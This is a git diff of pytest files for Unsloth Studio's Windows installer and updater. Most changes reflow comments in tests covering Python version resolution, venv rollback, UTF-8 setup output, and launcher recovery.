pytest.mark.skipif(os.name == "nt", reason = "the fake py launcher is a /bin/sh script")@@ -245,8 +242,7 @@ def _resolve(tmp_path: Path, versions: dict[str, str]) -> str:root = tmp_path / "bin"_fake_launcher(root, versions)skip_block, screen_block = _blocks()- # Hoisted for the same reason as _blocks: a backslash in an f-string- # expression does not parse before 3.12.+ # Hoisted for the same reason as _blocks: a backslash in an f-string expression does not parse before 3.12.conda_block = _extract(r" function Test-IsCondaPython \{.*?\n \}")tag_block = _extract(r" function Get-PythonPlatformTag \{.*?\n \}")resolver_block = _extract(r" function Find-CompatiblePython \{.*?\n \}")@@ -266,8 +262,8 @@ $found = Find-CompatiblePythonif ($null -eq $found) {{ Write-Output "RESULT: none" }}else {{ Write-Output "RESULT: $($found.Version)" }}"""- # The caller scrapes the resolver's chosen minor out of stdout; a crashed pwsh- # leaves nothing to scrape and would fail as if Find-CompatiblePython went silent.+ # The caller scrapes the resolver's chosen minor out of stdout; a crashed pwsh leaves nothing to scrape and would+ # fail as if Find-CompatiblePython went silent.completed = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],capture_output = True,@@ -281,9 +277,8 @@ else {{ Write-Output "RESULT: $($found.Version)" }}@_POSIX_LAUNCHER_ONLYdef test_the_resolver_falls_through_to_the_next_minor(tmp_path):- # The offline/locked-down case: 3.13.8 and a healthy 3.12 both installed and- # nothing installable. Ending the search on the 3.13 would leave the caller- # with a Python that cannot import torch; refusing it outright would fail a+ # The offline/locked-down case: 3.13.8 and a healthy 3.12 both installed and nothing installable. Ending the search+ # on the 3.13 would leave the caller with a Python that cannot import torch; refusing it outright would fail a# machine that has a perfectly good interpreter one entry down the list.assert _resolve(tmp_path, {"3.13": "3.13.8", "3.12": "3.12.11"}) == "3.12"@@ -331,8 +326,8 @@ $found = Find-CompatiblePythonif ($null -eq $found) {{ Write-Output "RESULT: none" }}else {{ Write-Output "RESULT: $($found.Version)" }}"""- # -NoTorch must leave 3.13.8 in place, and dying before the RESULT line is printed- # is indistinguishable here from the screen having removed it.+ # -NoTorch must leave 3.13.8 in place, and dying before the RESULT line is printed is indistinguishable here from+ # the screen having removed it.completed = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],capture_output = True,diff --git a/tests/python/test_windows_python_venv_hardening.py b/tests/python/test_windows_python_venv_hardening.pyindex 068d7d50ccc..58c54f98bb1 100644--- a/tests/python/test_windows_python_venv_hardening.py+++ b/tests/python/test_windows_python_venv_hardening.py@@ -47,9 +47,9 @@ def _link_dir(link: Path, target: Path) -> None:def _run_powershell(shell: str, script: str, env: dict[str, str]) -> str:- # run_pwsh, not subprocess.run: $shell is always pwsh or powershell (see POWERSHELLS),- # and every venv and rollback case in this file reads its stdout, so an interpreter that- # died at startup would surface as install.ps1 losing half a moved environment.+ # run_pwsh, not subprocess.run: $shell is always pwsh or powershell (see POWERSHELLS), and every venv and rollback+ # case in this file reads its stdout, so an interpreter that died at startup would surface as install.ps1 losing+ # half a moved environment.# See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh([shell, "-NoProfile", "-NonInteractive", "-Command", script],@@ -193,7 +193,6 @@ Write-Output ("dir=" + [string]$script:StudioVenvRollbackDir))if case == "clean":- # Nothing moved, so the original is intact and there is nothing to restore.assert state["active"] == "False", outassert state["dir"] == "", outreturn@@ -201,10 +200,9 @@ Write-Output ("dir=" + [string]$script:StudioVenvRollbackDir)assert state["active"] == "True", outassert state["dir"].startswith(os.path.join(str(tmp_path), "unsloth_studio.rollback.")), outassert Path(state["dir"]).is_dir(), out- # Both halves are named, so the user is not left hunting for the moved tree.- # Match the warning lines themselves rather than the bare paths: $existing is a- # prefix of the rollback dir, so "str(existing) in out" alone is satisfied by the- # dir= line and would stay green even with the warning missing entirely.+ # Both halves are named, so the user is not left hunting for the moved tree. Match the warning lines themselves+ # rather than the bare paths: $existing is a prefix of the rollback dir, so "str(existing) in out" alone is+ # satisfied by the dir= line and would stay green even with the warning missing entirely.assert f"still in place: {existing}" in out, outassert f"moved aside: {state['dir']}" in out, out@@ -232,7 +230,6 @@ def test_restoring_a_split_move_never_deletes_the_half_left_behind(tmp_path: Pat)target = tmp_path / "unsloth_studio"backup = tmp_path / "unsloth_studio.rollback.20260804120000.999"- # The half the interrupted move left behind, and the half that got across.(target / "Scripts").mkdir(parents = True)(target / "Scripts" / "unsloth.exe").write_text("irreplaceable", encoding = "utf-8")(backup / "Lib" / "site-packages").mkdir(parents = True)@@ -260,7 +257,6 @@ Write-Output ("active=" + $script:StudioVenvRollbackActive)# The file that never moved is the whole point: the pre-merge path deleted it.assert (target / "Scripts" / "unsloth.exe").read_text(encoding = "utf-8") == "irreplaceable", out- # ...and the half that did move comes back rather than being stranded.assert (target / "Lib" / "site-packages" / "marker.txt").is_file(), outassert not backup.exists(), outassert "active=False" in out, out@@ -289,7 +285,6 @@ def test_merging_a_split_move_keeps_every_sibling_at_its_own_path(tmp_path: Path)target = tmp_path / "unsloth_studio"backup = tmp_path / "unsloth_studio.rollback.20260804120000.999"- # The half left behind, and a moved half with several siblings at two levels.(target / "Scripts").mkdir(parents = True)(target / "Scripts" / "unsloth.exe").write_text("irreplaceable", encoding = "utf-8")(target / "Lib").mkdir()diff --git a/tests/python/test_windows_setup_output_encoding.py b/tests/python/test_windows_setup_output_encoding.pyindex 8f280b4d0ea..1458b7978ae 100644--- a/tests/python/test_windows_setup_output_encoding.py+++ b/tests/python/test_windows_setup_output_encoding.py@@ -68,8 +68,8 @@ SLOTH = "\U0001f9a5"RULE_CHAR = "─"REPLACEMENT = "�"-# The desktop app spawns Windows PowerShell 5.1; pwsh stands in elsewhere. The-# OEM-code-page bug only reproduces on 5.1, which the Windows runner covers.+# The desktop app spawns Windows PowerShell 5.1; pwsh stands in elsewhere. The OEM-code-page bug only reproduces on 5.1,+# which the Windows runner covers._PWSH = shutil.which("powershell") if sys.platform == "win32" else shutil.which("pwsh")pwsh_only = pytest.mark.skipif(_PWSH is None, reason = "PowerShell is unavailable")@@ -164,9 +164,8 @@ def _run_capturing_bytes(is how the CLI spawns setup for ``unsloth studio update``. Piped stdout isrequired to reproduce, and is captured as bytes, never decoded here."""- # Unique per call. The name used to be (stem, shape), which several tests- # share, so under pytest-xdist one case could unlink the script after another- # had written it and before its pwsh child opened it. pwsh is installed on+ # Unique per call. The name used to be (stem, shape), which several tests share, so under pytest-xdist one case+ # could unlink the script after another had written it and before its pwsh child opened it. pwsh is installed on# ubuntu-latest, so these do not skip there and would race for real.tmp = (REPO_ROOT@@ -182,9 +181,9 @@ def _run_capturing_bytes(argv = base + ["-Command", f"& '{literal}' *>&1"]else:argv = base + ["-File", str(tmp)]- # run_pwsh, not subprocess.run: the byte-level cases read this stdout as the setup- # log, and an interpreter that aborted leaves an empty or truncated stream, which- # reads as the banner being mangled or lost. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: the byte-level cases read this stdout as the setup log, and an interpreter that+ # aborted leaves an empty or truncated stream, which reads as the banner being mangled or lost.+ # See tests/_shared/unsloth_pwsh_runner.py.proc = run_pwsh(argv, stdout = subprocess.PIPE, stderr = subprocess.PIPE, timeout = 180)assert proc.returncode == 0, proc.stderr.decode("utf-8", errors = "replace")return proc.stdout@@ -233,11 +232,8 @@ def test_step_label_and_value_stay_on_one_line(use_command_shape: bool) -> None:assert matches[0] == " gpu none (chat-only / GGUF)"-# The banner and the footer are the two blocks a user actually reads in the-# desktop setup log, and neither goes through step/substep, so they need their-# own byte-level coverage.--+# The banner and the footer are the two blocks a user actually reads in the desktop setup log, and neither goes through+# step/substep, so they need their own byte-level coverage.@pwsh_only@pytest.mark.parametrize("use_command_shape", [False, True], ids = ["-File", "-Command-merged"])def test_banner_and_footer_are_valid_utf8(use_command_shape: bool) -> None:@@ -262,8 +258,6 @@ def test_banner_and_footer_print_once_each(use_command_shape: bool) -> None:# Source contracts. These run everywhere, including the Linux backend CI job,# so a regression is caught without waiting for a Windows runner.--def _strip_comments(source: str) -> str:return re.sub(r"(?m)#.*$", "", source)@@ -340,9 +334,8 @@ def _function_match(masked: str, name: str) -> re.Match[str] | None:return re.search(r"(?im)^[ \t]*function\s+" + re.escape(name) + r"\b", masked)-# Write-Host may only appear inside a helper that has already ruled out the-# redirected sink: Write-StudioLine itself, and setup.ps1's step/substep, which-# return through the console mirror before reaching their interactive branch.+# Write-Host may only appear inside a helper that has already ruled out the redirected sink: Write-StudioLine itself,+# and setup.ps1's step/substep, which return through the console mirror before reaching their interactive branch.WRITE_HOST_ALLOW_LIST = {SETUP_PS1: ("Write-StudioLine", "step", "substep"),INSTALL_PS1: ("Write-StudioLine",),@@ -492,33 +485,28 @@ def test_rust_windows_spawns_force_utf8(rust_file: str) -> None:), f"{rust_file} does not force PYTHONIOENCODING"-# The console-less spawn. Windows only, and last in the file because it reuses-# the literal masking above to brace-match the blocks it lifts.+# The console-less spawn. Windows only, and last in the file because it reuses the literal masking above to+# brace-match the blocks it lifts.#-# A GitHub runner hands a CREATE_NO_WINDOW child a console anyway-# (GetConsoleOutputCP 437, GetConsoleWindow 0), so the UTF-8 setter in the-# preamble succeeds there and every version of these scripts emits a clean-# banner. The cases above therefore cannot tell this fix from what preceded it.-# Calling FreeConsole() in the child first puts it in the state install.rs's own-# comment assumes CREATE_NO_WINDOW produces, and there the two diverge hard:-# without the sink, Write-Host throws `HostException: GetConsoleScreenBufferInfo,-# The Win32 internal error "The handle is invalid" 0x6`, the script dies with-# exit 1 and 2 bytes of stdout, and the user's setup log holds a PowerShell-# stack trace where the banner should be.+# A GitHub runner hands a CREATE_NO_WINDOW child a console anyway (GetConsoleOutputCP 437, GetConsoleWindow 0), so the+# UTF-8 setter in the preamble succeeds there and every version of these scripts emits a clean banner. The cases above+# therefore cannot tell this fix from what preceded it. Calling FreeConsole() in the child first puts it in the state+# install.rs's own comment assumes CREATE_NO_WINDOW produces, and there the two diverge hard: without the sink,+# Write-Host throws `HostException: GetConsoleScreenBufferInfo, The Win32 internal error "The handle is invalid" 0x6`,+# the script dies with exit 1 and 2 bytes of stdout, and the user's setup log holds a PowerShell stack trace where the+# banner should be.#-# Everything the probe prints is sliced out of the script under test; only the-# FreeConsole prologue and the stderr diagnostics are harness. Restating the-# banner here would only assert that this file can print a sloth.-+# Everything the probe prints is sliced out of the script under test; only the FreeConsole prologue and the stderr+# diagnostics are harness.CREATE_NO_WINDOW = 0x08000000-# studio/src-tauri/src/install.rs::powershell_launch_args, minus the -File the-# runner appends. Not Bypass: RemoteSigned is what the shipped spawn uses.+# studio/src-tauri/src/install.rs::powershell_launch_args, minus the -File the runner appends. Not Bypass:+# RemoteSigned is what the shipped spawn uses.TAURI_FLAGS = ["-NoLogo", "-NoProfile", "-NonInteractive", "-ExecutionPolicy", "RemoteSigned"]-# install.rs::powershell_exe. Resolved absolutely for the same reason it is-# there, and not fallen back to a bare `powershell.exe`: pwsh 7 is UTF-8 by-# default and would pass this without exercising anything.+# install.rs::powershell_exe.+# Resolved absolutely for the same reason it is there, and not fallen back to a bare `powershell.exe`: pwsh 7 is UTF-8+# by default and would pass this without exercising anything._WINDOWS_POWERSHELL = (Path(os.environ.get("SystemRoot", r"C:\Windows"))/ r"System32\WindowsPowerShell\v1.0\powershell.exe"@@ -534,14 +522,13 @@ powershell_51_only = pytest.mark.skipif(reason = "Windows PowerShell 5.1 is unavailable",)-# Documented kernel32 calls and nothing else, so the probe reaches the target-# state without the scripts under test knowing they are being tested.+# Documented kernel32 calls and nothing else, so the probe reaches the target state without the scripts under test+# knowing they are being tested._FREE_CONSOLE = """Add-Type -Namespace Force -Name Native -MemberDefinition @'[DllImport("kernel32.dll")] public static extern bool FreeConsole();'@$null = [Force.Native]::FreeConsole()"""-# The first line of the preamble, and the anchor the slice starts from._UTF8_ENCODER = "$_UnslothUtf8NoBom = New-Object System.Text.UTF8Encoding $false"@@ -597,8 +584,8 @@ def _console_less_probe(path: Path) -> str:"""Assemble a probe out of the script's own preamble, helpers and banner."""source = path.read_text(encoding = "utf-8")masked = _mask_literals(source)- # Sliced too: it is what turns the Write-Host throw into a dead script- # rather than a skipped line, so restating it would be assuming the result.+ # Sliced too: it is what turns the Write-Host throw into a dead script rather than a skipped line, so restating it+ # would be assuming the result.eap = _slice_optional(source, r'(?m)^[ \t]*\$ErrorActionPreference = "Stop"')assert eap, f"{path.name} no longer stops on error before the banner"parts = [eap, _FREE_CONSOLE, "", _slice_preamble(source), ""]@@ -617,13 +604,14 @@ def _console_less_probe(path: Path) -> str:r"(?m)^[ \t]*\$Rule = \[string\]::new\(\[char\]0x2500, 52\)",r"(?m)^[ \t]*\$Sloth = \[char\]::ConvertFromUtf32\(0x1F9A5\)",):- # setup.ps1 inlines the sloth in the banner; install.ps1 binds it first.+ # setup.ps1 inlines the sloth in the banner;+ # install.ps1 binds it first.assignment = _slice_optional(source, pattern)if assignment:parts.append(assignment)parts += ["", _slice_banner(source, masked), ""]- # On stderr, which the app reads on a separate reader, so stdout stays- # exactly the byte stream the log panel is built from.+ # On stderr, which the app reads on a separate reader, so stdout stays exactly the byte stream the log panel is+ # built from.parts += ['[Console]::Error.WriteLine("psversion=" + $PSVersionTable.PSVersion.ToString())','[Console]::Error.WriteLine("console_outputencoding_codepage=" + [Console]::OutputEncoding.CodePage)',@@ -649,10 +637,9 @@ def _run_console_less(path: Path, source: str | None = None) -> tuple[int, bytesprobe = Path(workdir) / f"{path.stem}_console_less_probe.ps1"text = _console_less_probe(path) if source is None else sourceprobe.write_bytes(text.replace("\n", "\r\n").encode("ascii"))- # run_pwsh, not subprocess.run: the console-less cases are phrased as "this run- # exited non-zero having printed almost nothing", which is also what an aborted- # interpreter looks like, so the two must not be confused. The retry covers 5.1- # here as well. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: the console-less cases are phrased as "this run exited non-zero having printed+ # almost nothing", which is also what an aborted interpreter looks like, so the two must not be confused.+ # See tests/_shared/unsloth_pwsh_runner.py.proc = run_pwsh([str(_WINDOWS_POWERSHELL), *TAURI_FLAGS, "-File", str(probe)],stdout = subprocess.PIPE,@@ -736,8 +723,8 @@ def test_console_less_banner_is_valid_utf8(path: Path) -> None:"log shows U+FFFD. With no console the UTF-8 setter throws, and only the ""writers bound in its catch branch keep the stream UTF-8." + detail)- # Strict on purpose; UnicodeDecodeError is the failure. Reruns the cached- # bytes rather than trusting the lossy pass above to have caught everything.+ # Strict on purpose; UnicodeDecodeError is the failure. Reruns the cached bytes rather than trusting the lossy+ # pass above to have caught everything._run_console_less(path)[1].decode("utf-8")@@ -753,9 +740,9 @@ def test_console_less_banner_keeps_its_glyphs(path: Path) -> None:)-# Sliced back out to rebuild the function this replaced, so parity is measured against the real-# predecessor. The comments go with the guard: they do not execute, but leaving them behind-# would make the reconstruction something this test invented rather than the merge-base function.+# Sliced back out to rebuild the function this replaced, so parity is measured against the real predecessor. The+# comments go with the guard: they do not execute, but leaving them behind would make the reconstruction something+# this test invented rather than the merge-base function._VT_FAST_PATH = re.compile(r"(?m)^[ \t]*# A redirected stdout is not a console.*?\n"r"(?:^[ \t]*#.*\n)*"diff --git a/tests/python/test_windows_studio_update_launcher.py b/tests/python/test_windows_studio_update_launcher.pyindex b72b544f5e4..d0e4c7a77aa 100644--- a/tests/python/test_windows_studio_update_launcher.py+++ b/tests/python/test_windows_studio_update_launcher.py@@ -88,13 +88,11 @@ def _configure_windows(monkeypatch.setattr(studio, "_ensure_studio_env_exported", lambda: None)monkeypatch.setattr(studio, "_windows_hidden_subprocess_kwargs", lambda: {})monkeypatch.setattr(studio, "_refresh_desktop_shortcuts", lambda **_kwargs: None)- # *_args: the guard now takes the package name.monkeypatch.setattr(studio, "_fail_if_install_damaged", lambda *_args: None)- # The runtime gate's process scan is Windows-only, so off Windows it never runs and- # nothing here noticed it was unstubbed. On a real Windows host it shells out to- # powershell.exe through the same subprocess.run these tests replace, then reads- # .stdout off a fake that only carries a returncode, and every test in this file- # dies before reaching what it meant to assert.+ # The runtime gate's process scan is Windows-only, so off Windows it never runs and nothing here noticed it was+ # unstubbed. On a real Windows host it shells out to powershell.exe through the same subprocess.run these tests+ # replace, then reads .stdout off a fake that only carries a returncode, and every test in this file dies before+ # reaching what it meant to assert.monkeypatch.setattr(studio._studio_runtime_gate,"ensure_managed_environment_is_idle",@@ -213,9 +211,8 @@ def test_setup_failure_restores_original_and_propagates(monkeypatch, studio, tmpdef test_setup_publishing_no_launcher_restores_it_and_succeeds(monkeypatch, studio, tmp_path):- # The bug this transaction exists for: pip finds unsloth already current,- # writes no launcher, and the old updater then deleted its own .deleteme and- # left the venv with none at all. Restoring is the right answer, not failing.+ # The bug this transaction exists for: pip finds unsloth already current, writes no launcher, and the old updater+ # then deleted its own .deleteme and left the venv with none at all. Restoring is the right answer, not failing.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)monkeypatch.setattr(studio, "_run_setup_script", lambda **_kwargs: None)monkeypatch.setattr(studio.subprocess, "run", _successful_version_run())@@ -358,7 +355,6 @@ def test_an_in_process_update_does_not_stage(monkeypatch, studio, tmp_path):monkeypatch.setattr(studio, "_stage_update", lambda **kwargs: staged.append(kwargs))calls = []monkeypatch.setattr(studio, "_run_setup_script", lambda **_kwargs: calls.append("setup"))- # Tolerant of the verify hook's arity, which is not what this test pins.monkeypatch.setattr(studio, "_fail_if_install_damaged", lambda *_a, **_k: calls.append("verify"))@@ -390,9 +386,8 @@ def _shim(studio, payload = ORIGINAL_LAUNCHER):def test_a_missing_launcher_is_recovered_from_the_path_shim(monkeypatch, studio, tmp_path):- # The old updater renamed the launcher away and then unlinked the .deleteme,- # so an affected install has neither. install.ps1 hardlinks the shim to the- # same file, so it survives that unlink and can repair the launcher.+ # The old updater renamed the launcher away and then unlinked the .deleteme, so an affected install has neither.+ # install.ps1 hardlinks the shim to the same file, so it survives that unlink and can repair the launcher.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path, launcher = None)_shim(studio)monkeypatch.setattr(studio, "_run_setup_script", lambda **_kwargs: None)@@ -404,9 +399,9 @@ def test_a_missing_launcher_is_recovered_from_the_path_shim(monkeypatch, studio,def test_an_invalid_launcher_is_recovered_from_the_backup(monkeypatch, studio, tmp_path):- # Recovery gated on existence rather than validity left a zero-byte launcher- # in place while a usable backup sat beside it. The old updater restored on- # exactly this shape (st_size == 0), so gating on exists() regressed it.+ # Recovery gated on existence rather than validity left a zero-byte launcher in place while a usable backup sat+ # beside it.+ # The old updater restored on exactly this shape (st_size == 0), so gating on exists() regressed it.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path, launcher = b"")(scripts / "unsloth.exe.update-backup").write_bytes(ORIGINAL_LAUNCHER)monkeypatch.setattr(studio, "_run_setup_script", lambda **_kwargs: None)@@ -418,9 +413,8 @@ def test_an_invalid_launcher_is_recovered_from_the_backup(monkeypatch, studio, tdef test_no_launcher_and_no_recovery_source_still_runs_setup(monkeypatch, studio, tmp_path):- # Refusing here would strand exactly the users the transaction exists for:- # the previous updater could leave no launcher and no .deleteme, and before- # this the update simply carried on and let setup reinstall it.+ # Refusing here would strand exactly the users the transaction exists for: the previous updater could leave no+ # launcher and no .deleteme, and before this the update simply carried on and let setup reinstall it.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path, launcher = None)ran = []@@ -438,8 +432,7 @@ def test_no_launcher_and_no_recovery_source_still_runs_setup(monkeypatch, studiodef test_a_backup_failure_does_not_abort_the_update(monkeypatch, studio, tmp_path):- # A backup is a safety net, not a precondition. Antivirus holding the temp- # copy used to surface as a bare OSError traceback before setup ever ran.+ # A backup is a safety net, not a precondition.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)ran = []original = studio._WindowsLauncherUpdateTransaction._atomic_copy@@ -463,10 +456,9 @@ def test_a_backup_failure_does_not_abort_the_update(monkeypatch, studio, tmp_patdef test_an_existing_backup_survives_an_unvalidated_launcher(monkeypatch, studio, tmp_path):- # A backup outlives __enter__ only when a previous run died before- # validating, so it holds the last launcher known to run while the canonical- # file has passed nothing but the two-byte header check. Overwriting it here- # destroyed the only recovery copy.+ # A backup outlives __enter__ only when a previous run died before validating, so it holds the last launcher known+ # to run while the canonical file has passed nothing but the two-byte header check. Overwriting it here destroyed+ # the only recovery copy.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path, launcher = b"MZ-broken")backup = scripts / "unsloth.exe.update-backup"backup.write_bytes(ORIGINAL_LAUNCHER)@@ -484,10 +476,8 @@ def test_an_existing_backup_survives_an_unvalidated_launcher(monkeypatch, studiodef test_the_launcher_is_resolved_from_the_managed_studio_venv(monkeypatch, studio, tmp_path):- # A pip-installed or checkout CLI drives an update of the separate managed- # environment, so sys.executable belongs to the caller while setup.ps1- # installs into STUDIO_HOME/unsloth_studio. Guarding the caller's launcher- # left the one actually being replaced unprotected.+ # A pip-installed or checkout CLI drives an update of the separate managed environment, so sys.executable belongs to+ # the caller while setup.ps1 installs into STUDIO_HOME/unsloth_studio.scripts, caller_launcher = _configure_windows(monkeypatch, studio, tmp_path)managed = tmp_path / "studio_home" / "unsloth_studio"(managed / "Scripts").mkdir(parents = True)@@ -506,9 +496,8 @@ def test_the_launcher_is_resolved_from_the_managed_studio_venv(monkeypatch, studdef test_a_replacement_published_by_setup_is_kept(monkeypatch, studio, tmp_path):- # The point of freeing the canonical path. uv only self-replaces its own- # executable, so it deletes a third-party console script outright and- # hard-errors when the file is in use; the pip fallback then no-ops on the+ # The point of freeing the canonical path. uv only self-replaces its own executable, so it deletes a third-party+ # console script outright and hard-errors when the file is in use; the pip fallback then no-ops on the# already-satisfied bare unsloth and the upgrade is silently skipped.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)new_launcher = b"MZ-upgraded-launcher"@@ -526,10 +515,6 @@ def test_a_replacement_published_by_setup_is_kept(monkeypatch, studio, tmp_path)def test_an_invalid_replacement_is_restored_but_still_fails(monkeypatch, studio, tmp_path):- # Setup writing an unusable launcher is a real failure. Putting the previous- # one back must not turn it into a reported success, which is how a- # restore-then-revalidate reads when it cannot tell "published nothing"- # from "published something broken".scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)monkeypatch.setattr(studio, "_run_setup_script", lambda **_kwargs: launcher.write_bytes(b""))monkeypatch.setattr(studio.subprocess, "run", _successful_version_run())@@ -562,9 +547,9 @@ def test_a_backup_that_cannot_run_falls_back_to_the_moved_aside_copy(monkeypatchdef test_a_setup_exception_restores_a_runnable_launcher(monkeypatch, studio, tmp_path):- # __exit__ took the first PE-shaped candidate, so an interrupted run's- # non-runnable backup was installed over the working launcher this run had- # moved aside, and it could also undo a restore validate_launcher just made.+ # Backups are taken after only the two-byte header check, so an interrupted run can leave a PE-shaped but+ # non-runnable backup. __exit__ took the first PE-shaped candidate, so that backup was installed over the+ # working launcher this run had moved aside, and it could also undo a restore validate_launcher just made.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)bad_backup = b"MZ-unrunnable"(scripts / "unsloth.exe.update-backup").write_bytes(bad_backup)@@ -587,10 +572,9 @@ def test_a_setup_exception_restores_a_runnable_launcher(monkeypatch, studio, tmpdef test_a_non_runnable_backup_falls_through_to_the_legacy_copy(monkeypatch, studio, tmp_path):- # An interrupted run can leave a PE-shaped but non-runnable backup while the- # legacy .deleteme or the PATH shim is still good. Accepting the backup on- # its MZ header alone and stopping there left the update failing forever- # with the broken bytes canonical.+ # An interrupted run can leave a PE-shaped but non-runnable backup while the legacy .deleteme or the PATH shim is+ # still good. Accepting the backup on its MZ header alone and stopping there left the update failing forever with+ # the broken bytes canonical.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path, launcher = None)bad_backup = b"MZ-unrunnable"(scripts / "unsloth.exe.update-backup").write_bytes(bad_backup)@@ -631,10 +615,9 @@ def test_the_update_lock_lives_outside_the_replaceable_venv(monkeypatch, studio,def test_a_failed_move_aside_warns_that_unsloth_may_not_upgrade(monkeypatch, studio, tmp_path, capsys):- # Aborting here would make an antivirus hold enough to render the- # environment unupdatable, which main did not do either. But the cost has to- # be visible: uv cannot replace a launcher it could not move, and the pip- # fallback drops --upgrade-package, so unsloth stays at its old version.+ # Aborting here would make an antivirus hold enough to render the environment unupdatable, which main did not do+ # either. But the cost has to be visible: uv cannot replace a launcher it could not move, and the pip fallback+ # drops --upgrade-package, so unsloth stays at its old version.scripts, launcher = _configure_windows(monkeypatch, studio, tmp_path)ran = []seen = {}@@ -642,9 +625,8 @@ def test_a_failed_move_aside_warns_that_unsloth_may_not_upgrade(real_replace = studio.os.replacedef refuse_move(source, destination):- # Only the move aside: patching os.replace wholesale would also break- # _atomic_copy's backup, and the test would then be passing on a- # compound failure rather than the one it names.+ # Only the move aside: patching os.replace wholesale would also break _atomic_copy's backup, and the test would+ # then be passing on a compound failure rather than the one it names.if str(destination).endswith(".update-stale"):raise OSError("access is denied")return real_replace(source, destination)@@ -665,19 +647,19 @@ def test_a_failed_move_aside_warns_that_unsloth_may_not_upgrade(err = capsys.readouterr().errassert "could not move the Unsloth launcher aside" in errassert "may not be upgraded" in err- # The backup still succeeded, so this is the move-aside failure alone.assert "could not back up" not in errassert seen["backup"] == ORIGINAL_LAUNCHER+# Issue #8490:++# ── Application Control (issue #8490) ─────────────────────────────────## Windows can deny the generated, unsigned unsloth.exe while the signed# python.exe beside it still runs. The launcher --version probe is then# impossible, and reading that as "the update broke" rolled a perfectly good# install back on every single update.--def _blocked_exe_run(interpreter_result, calls = None):"""subprocess.run where only the launcher is denied by policy."""@@ -706,20 +688,14 @@ def test_a_policy_blocked_launcher_falls_back_to_the_interpreter(monkeypatch, st_update(studio)assert launcher.read_bytes() == ORIGINAL_LAUNCHER- # A successful update cleans its recovery copies up; a rollback would keep them.assert not (scripts / "unsloth.exe.update-backup").exists()assert not (scripts / "unsloth.exe.update-stale").exists()assert calls[0][0] == [str(launcher), "--version"]interpreter_call = calls[1][0]# Spelled out rather than imported, so an edit to the constant fails here.- # -I here and nowhere else in this module: this probe predicts the desktop- # updater's launch, and build_update_command runs that under- # Isolation::Isolated with PYTHONHOME/PYTHONPATH cleared. A probe that- # inherited them could be answered by a foreign checkout on PYTHONPATH and- # would keep an update the next launch cannot start. -X utf8 precedes -I- # because -I implies -E, which drops PYTHONUTF8 but cannot touch a- # command-line -X.+ # -I here and nowhere else in this module: this probe predicts the desktop updater's launch, and+ # build_update_command runs that under Isolation::Isolated with PYTHONHOME/PYTHONPATH cleared.assert interpreter_call == [str(scripts / "python.exe"),"-X",@@ -730,8 +706,7 @@ def test_a_policy_blocked_launcher_falls_back_to_the_interpreter(monkeypatch, st"sys.argv[0] = 'unsloth'; from unsloth_cli import app; sys.exit(app())","--version",]- # The launcher probe gets 10s, a process start. This one has to import the whole- # CLI package first, so it gets the import probe's ceiling instead.+ # The launcher probe gets 10s, a process start.assert calls[0][1]["timeout"] == 10assert calls[1][1]["timeout"] == studio._MANAGED_CLI_IMPORT_PROBE_TIMEOUTassert calls[1][1]["timeout"] > calls[0][1]["timeout"]@@ -827,8 +802,8 @@ def test_a_quarantined_away_launcher_falls_back_to_the_interpreter(monkeypatch,_update(studio)assert not launcher.exists()+ # A successful update cleans its recovery copies up; a rollback would keep them.assert not (scripts / "unsloth.exe.update-backup").exists()- # Only the interpreter was asked; there was no file to probe.assert [call[0][0] for call in calls] == [str(scripts / "python.exe")]@@ -850,12 +825,10 @@ def test_only_the_updater_probe_isolates_the_interpreter(studio, tmp_path):assert "-I" not in inheritedisolated = studio._managed_cli_argv(python, "--version", isolated = True)- # -X utf8 first: -I implies -E, so PYTHONUTF8 would be discarded, while a- # command-line -X survives it.+ # -X utf8 first: -I implies -E, so PYTHONUTF8 would be discarded, while a command-line -X survives it.assert isolated[:4] == [str(python), "-X", "utf8", "-I"]- # Isolation is the only difference. Same trampoline, same caller arguments,- # in the same order.+ # Isolation is the only difference.assert [arg for arg in isolated if arg != "-I"] == inherited@@ -923,7 +896,6 @@ def test_the_package_answers_for_a_quarantined_console_script(monkeypatch, studi(site_packages / "unsloth-2026.8.1.dist-info").mkdir()assert studio._managed_cli_package_present(python)- # POSIX proves a CLI with the console script itself; nothing changes there.monkeypatch.setattr(studio.platform, "system", lambda: "Linux")assert not studio._managed_cli_package_present(python)@@ -988,7 +960,6 @@ def test_an_importable_package_still_answers_for_the_quarantined_stub(monkeypatch.setattr(studio.platform, "system", lambda: "Windows")assert studio._managed_cli_package_present(python)- # And POSIX is untouched: there the console script is what gets exec'd.monkeypatch.setattr(studio.platform, "system", lambda: "Linux")assert not studio._managed_cli_package_present(python)@@ -1010,11 +981,9 @@ def bare_probe_venv(real_venv):@pytest.mark.parametrize("shape, files",[- # An emptied directory. find_spec calls this a namespace package and- # returns a spec for it, so a spec lookup answers yes to a venv the- # trampoline's `from unsloth_cli import app` cannot start. This is the- # shape antivirus leaves when it takes the module files out from under a- # package it decided it disliked.+ # An emptied directory. find_spec calls this a namespace package and returns a spec for it, so a spec lookup+ # answers yes to a venv the trampoline's `from unsloth_cli import app` cannot start. This is the shape+ # antivirus leaves when it takes the module files out from under a package it decided it disliked.("an emptied package directory", {}),# An interrupted install: the package landed, its dependencies did not.(@@ -1052,8 +1021,8 @@ def test_a_package_the_trampoline_cannot_import_is_not_a_runnable_cli(python), f"{shape} must not pass the gate: the trampoline cannot start it"- # Anti-vacuity: the same venv with a package that does import passes, so the- # assertion above is about the shape and not about the fixture being broken.+ # Anti-vacuity: the same venv with a package that does import passes, so the assertion above is about the shape and+ # not about the fixture being broken.(package / "__init__.py").write_text("app = None\n", encoding = "utf-8")assert studio._managed_cli_package_present(python)@@ -1075,8 +1044,6 @@ def test_a_probe_that_cannot_start_the_interpreter_fails_closed(monkeypatch, 